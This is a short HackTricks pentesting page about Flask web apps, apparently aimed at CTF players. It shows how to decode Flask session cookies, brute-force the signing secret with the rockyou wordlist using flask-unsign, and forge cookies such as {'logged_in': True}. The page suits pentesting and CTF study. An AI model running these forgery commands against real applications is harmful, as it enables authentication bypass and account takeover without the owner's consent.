hacktricks/network-services-pentesting/pentesting-web/flask.md
2022-05-11 15:39:42 +00:00

3.7 KiB

Flask

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Probably if you are playing a CTF a Flask application will be related to SSTI.

Cookies

Default cookie session name is session.

Decoder

Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Get the first part of the cookie until the first point and Base64 decode it>

echo "ImhlbGxvIg" | base64 -d

The cookie is also signed using a password

Flask-Unsign

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signing

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing using legacy (old versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.

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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

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Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

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